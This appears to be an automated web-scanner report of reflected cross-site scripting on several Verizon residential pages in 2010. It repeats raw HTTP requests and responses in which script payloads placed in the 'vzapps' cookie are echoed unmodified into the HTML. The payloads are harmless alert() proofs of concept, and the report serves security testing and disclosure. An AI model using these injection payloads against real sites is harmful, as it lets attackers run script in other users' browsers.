HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 74933 Expires: Sat, 20 Nov 2010 02:11:33 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:11:33 GMT Connection: close Set-Cookie: ContextInfo_State=TX197a3<script>alert(1)</script>26eaa0e1290; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: About High Speed Internet </title><meta name="Keywords" description="reliability, low price, free content, free email ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX197A3<SCRIPT>ALERT(1)</SCRIPT>26EAA0E1290 </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d4d98'><script>alert(1)</script>34c18cd4d82 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighspeedInternet/FAQ/FAQ.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXd4d98'><script>alert(1)</script>34c18cd4d82; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 104008 Expires: Sat, 20 Nov 2010 02:13:39 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:13:39 GMT Connection: close Set-Cookie: ContextInfo_State=TXd4d98'><script>alert(1)</script>34c18cd4d82; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 9fc75<script>alert(1)</script>7aa49d06f5e was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighspeedInternet/FAQ/FAQ.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX9fc75<script>alert(1)</script>7aa49d06f5e; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 104004 Expires: Sat, 20 Nov 2010 02:13:39 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:13:39 GMT Connection: close Set-Cookie: ContextInfo_State=TX9fc75<script>alert(1)</script>7aa49d06f5e; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet: FAQs </title><meta name="keywords" content="verizon high speed internet faqs, verizon dsl faqs, verizon faqs, verizon ...[SNIP]... <DIV style="FLOAT: left" id=yourlocation>TX9FC75<SCRIPT>ALERT(1)</SCRIPT>7AA49D06F5E </DIV> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 69d84<script>alert(1)</script>aa3f79cc48 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX69d84<script>alert(1)</script>aa3f79cc48; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9001f'><script>alert(1)</script>4a248056d9d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX9001f'><script>alert(1)</script>4a248056d9d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 51cbb<script>alert(1)</script>683445b1e19 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX51cbb<script>alert(1)</script>683445b1e19; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 74af2'><script>alert(1)</script>d655b1e991a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX74af2'><script>alert(1)</script>d655b1e991a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 3e7e1<script>alert(1)</script>a7984dcde2b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3e7e1<script>alert(1)</script>a7984dcde2b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2d72f'><script>alert(1)</script>ed1c4719934 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX2d72f'><script>alert(1)</script>ed1c4719934; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6614d'><script>alert(1)</script>00665d65475 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/FiOSDigitalVoice.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX6614d'><script>alert(1)</script>00665d65475; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload a71c4<script>alert(1)</script>f2b03f92e3a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/FiOSDigitalVoice.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXa71c4<script>alert(1)</script>f2b03f92e3a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 41c30'><script>alert(1)</script>22f967e102e was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/HowItWorks/HowItWorks.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX41c30'><script>alert(1)</script>22f967e102e; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 810dd<script>alert(1)</script>103ffbb5601 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/HowItWorks/HowItWorks.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX810dd<script>alert(1)</script>103ffbb5601; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 247ad<script>alert(1)</script>676d79a7f4b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f4434'><script>alert(1)</script>79fd05cf08e was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 208b9'><script>alert(1)</script>39b64fb4a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
